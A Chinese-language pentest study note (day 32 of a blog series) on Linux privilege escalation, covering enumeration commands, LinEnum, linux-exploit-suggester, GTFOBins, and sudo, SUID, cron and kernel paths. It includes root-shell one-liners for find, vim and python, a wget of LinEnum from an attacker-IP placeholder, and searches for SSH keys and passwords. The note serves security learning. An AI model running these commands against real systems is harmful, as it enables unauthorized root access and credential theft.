当前位置:首页>Linux>Day32:Linux提权第一步——把这些命令敲完,漏洞就出来了

Day32:Linux提权第一步——把这些命令敲完,漏洞就出来了

  • 2026-10-11 07:18:42
Day32:Linux提权第一步——把这些命令敲完,漏洞就出来了

📌 这是「安全底稿」的第 32 篇记录从零学渗透测试,每天一篇学习笔记。

今天的内容:

  • Linux 提权整体思路与优先级

  • 信息收集必备命令(系统、用户、SUID、计划任务、网络)

  • 自动化工具(LinEnum、linux-exploit-suggester)

  • GTFOBins 提权速查

  • 常见提权路径详解


一、学习目标

  • 理解 Linux 提权的整体思路和核心原则

  • 掌握 Linux 提权前置信息收集的命令

  • 掌握 LinEnum 等自动化枚举工具的使用方法

  • 能使用 linux-exploit-suggester 等工具匹配内核漏洞

  • 能独立完成 Linux 提权的信息收集与风险检测

✅ 最终目标:会 Linux 提权信息收集与风险检测


二、Linux 提权整体思路

核心原则

优先寻找“低成本、高成功率”的提权路径:配置错误 > 本地内核漏洞

提权流程

text

低权限 Shell     │     ▼┌────────────────────────────────
─────────────────────────────┐│  Step 1: 信息收集                                            ││  - 系统版本、内核信息、发行版                                  ││  - 当前用户权限、sudo 配置                                    ││  - SUID/SGID 文件、可写文件/目录                             ││  - 计划任务、服务、网络连接                                   ││  - 敏感文件(密码、配置文件)                                 │├─────────────────────────────────────────────────────────────┤│  Step 2: 分析提权路径                                        ││  - SUID 滥用 → GTFOBins 查找提权方法                         ││  - sudo 配置错误 → sudo -l 寻找 NOPASSWD 或可滥用命令        ││  - 计划任务 → 可写脚本或通配符注入                            ││  - 内核漏洞 → 匹配 CVE 并编译 EXP                            │├─────────────────────────────────────────────────────────────┤│  Step 3: 选择并执行提权                                      │├─────────────────────────────────────────────────────────────┤│  Step 4: 验证权限(id、whoami)                              │└─────────────────────────────────────────────────────────────┘

提权优先级排序

优先级
提权路径
说明
难度
1
sudo 配置错误
直接 sudo -l 检查,可能无需密码
极低
2
SUID 滥用
利用 GTFOBins 查找提权方法
低
3
计划任务
可写脚本或环境变量劫持
低-中
4
服务配置错误
NFS、Docker 组等
中
5
内核漏洞
Dirty Pipe、Dirty COW、PwnKit
中-高

三、信息收集必备命令

系统与内核信息

命令
作用
提权价值
uname -a
内核版本、架构
匹配内核提权 EXP
cat /etc/os-release
发行版信息
匹配发行版特定漏洞
hostname
主机名
了解网络环境
arch / uname -m
系统架构
确定 EXP 架构

用户与权限信息

命令
作用
提权价值
whoami
当前用户名
确认当前身份
id
UID、GID、组
确认权限级别
sudo -l
当前用户的 sudo 权限
🔥 直接检查可提权命令
cat /etc/passwd
所有用户列表
发现其他用户
history
命令历史
可能泄露密码、路径
env
环境变量
可能泄露敏感信息

SUID/SGID 文件查找

bash

# 查找 SUID 文件(关键!)find / -perm-4000-type f 2>/dev/null# 查找 SGID 文件find / -perm-2000-type f 2>/dev/null# 查找 root 拥有的 SUID 文件find / -user root -perm-4000-execls-ldb{}\;2>/dev/null# 使用更精确的条件find / -perm-u=s -type f 2>/dev/null

可写文件与目录

bash

# 查找全局可写目录find / -writable-type d 2>/dev/null# 查找可写文件(排除 /proc)find / -path /proc -prune-o-type f -perm -o+w 2>/dev/null# 查找世界可写的配置文件find /etc -type f -perm -o+w 2>/dev/null

计划任务

bash

# 系统级计划任务cat /etc/crontab# 用户级计划任务crontab-l# 目录中的计划任务脚本ls-la /etc/cron*ls-la /var/spool/cron/# systemd 定时器systemctl list-timers --all

网络与服务

命令
作用
netstat -tulpn
监听端口和服务
ss -tulpn
现代版 netstat
ps aux
所有运行进程
ps aux | grep root
root 运行的进程

敏感文件搜索

bash

# 查找密码相关文件grep-r"password" /var/www /home 2>/dev/null# 查找配置文件find / -name"*.conf"-type f 2>/dev/null |head-20# 查找 SSH 密钥find / -name"id_rsa"-o-name"id_dsa"2>/dev/null# 查找备份文件find / -name"*.zip"-o-name"*.tar.gz"-o-name"*.bak"2>/dev/null

四、自动化信息收集工具

LinEnum(推荐)

LinEnum 是一个功能强大的 Linux 枚举脚本,自动化收集系统信息并高亮显示潜在的提权点。

使用步骤:

bash

# 1. 上传或下载到目标机cd /tmpwget http://攻击者IP:8000/LinEnum.sh# 2. 添加执行权限chmod +x LinEnum.sh# 3. 执行脚本./LinEnum.sh# 4. 保存输出便于分析./LinEnum.sh > linenum_output.txt

检测项:系统信息、用户权限、SUID/SGID、可写目录、网络配置、sudo 配置、计划任务等。

linux-exploit-suggester(漏洞匹配)

根据内核版本和发行版信息,自动匹配可能的内核提权漏洞。

bash

# 下载wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh# 执行chmod +x les.sh./les.sh

GTFOBins(SUID 利用速查)

网址:https://gtfobins.github.io/

GTFOBins 是一个精选的 Unix 二进制文件列表,这些文件可以被滥用来绕过本地安全限制。当发现某个程序设置了 SUID 位时,可以在 GTFOBins 上查找该程序的提权方法。

示例:

bash

# 如果 find 有 SUIDfind.-exec /bin/sh -p\;-quit# 如果 vim 有 SUIDvim-c':py import os; os.setuid(0); os.execl("/bin/sh","sh")'

五、常见提权路径详解

1️⃣ SUID 滥用提权

设置了 SUID 位的程序以文件所有者(通常是 root)权限运行。

查找方法:

bash

find / -perm-u=s -type f 2>/dev/null
程序
利用命令
findfind /tmp -exec /bin/sh -p \; -quit
vimvim -c ':py import os; os.setuid(0); os.execl("/bin/sh","sh")'
bashbash -p
nmap
(旧版)
nmap --interactive → !sh

2️⃣ sudo 配置错误提权

bash

# 查看当前用户的 sudo 权限sudo-l
sudo 配置
利用命令
(ALL) NOPASSWD: ALLsudo /bin/bash
(root) NOPASSWD: /usr/bin/vimsudo vim -c ':!/bin/sh'
(root) NOPASSWD: /usr/bin/findsudo find . -exec /bin/sh \; -quit
(root) NOPASSWD: /usr/bin/pythonsudo python -c 'import pty; pty.spawn("/bin/sh")'

3️⃣ 计划任务提权

系统计划任务(cron)以 root 权限执行,如果任务调用的脚本可写,就能提权。

检查方法:

bash

cat /etc/crontabls-la /etc/cron*crontab-l

利用场景:

  • 脚本文件可写 → 添加反弹 shell

  • 脚本目录可写 → 替换或创建同名脚本

  • 通配符注入 → 利用 tar 等命令的特性

4️⃣ 内核漏洞提权

漏洞
CVE
影响版本
Dirty COW
CVE-2016-5195
Linux 2.6.22 - 4.8
Dirty Pipe
CVE-2022-0847
Linux 5.8 - 5.16.11
PwnKit
CVE-2021-4034
pkexec 版本

流程:uname -a → linux-exploit-suggester → 下载/编译 EXP → 执行提权


六、今日实操清单

信息收集命令练习

  • 执行 uname -a、cat /etc/os-release、id

  • 执行 sudo -l(如果是普通用户,观察输出)

  • 执行 find / -perm -4000 -type f 2>/dev/null,记录 SUID 文件列表

  • 执行 cat /etc/crontab,观察计划任务

LinEnum 使用

  • 下载 LinEnum

  • 在目标 Linux 系统上执行 LinEnum

  • 分析输出中的高亮部分(潜在漏洞点)

linux-exploit-suggester 使用

  • 下载 linux-exploit-suggester

  • 执行脚本,查看建议的漏洞列表

  • 记录与当前系统版本匹配的 CVE

GTFOBins 查询练习

  • 访问 https://gtfobins.github.io/

  • 查找 SUID 列表中的程序,查看提权方法

  • 记录至少 3 个程序的提权命令


七、自测题

  1. Linux 提权信息收集时,哪些命令可以查看内核版本和发行版信息?

  2. 如何查找系统中所有 SUID 文件?

  3. LinEnum 工具的主要作用是什么?

  4. sudo -l 命令看到 (ALL) NOPASSWD: /usr/bin/vim,如何利用提权?

  5. GTFOBins 网站的作用是什么?


八、记忆口诀

Linux 提权先收集,内核版本发行版id sudo 看权限,SUID 文件 find 查计划任务 cron 里,GTFOBins 查滥用LinEnum 全自动,漏洞匹配找 CVE配置错误优先用,内核提权放最后


✅ 今日复盘

学到的核心概念:

  • 提权优先级:sudo 配置 > SUID > 计划任务 > 内核漏洞

  • 信息收集命令:uname、id、sudo -l、find、cat /etc/crontab

  • 自动化工具:LinEnum、linux-exploit-suggester

  • 提权速查:GTFOBins

  • 常见路径:SUID 滥用、sudo 配置错误、计划任务、内核漏洞

明天计划:

  • Linux SUID 提权实战

  • sudo 提权实战

  • Dirty Pipe 内核漏洞提权


扫码关注 · 一起从零学渗透每天一篇学习笔记,从入门到实战。


如果这篇对你有帮助,欢迎分享给同样在学安全的朋友。

评论区聊聊:你收集到的 Linux 信息中,哪个最有价值?

最新文章

随机文章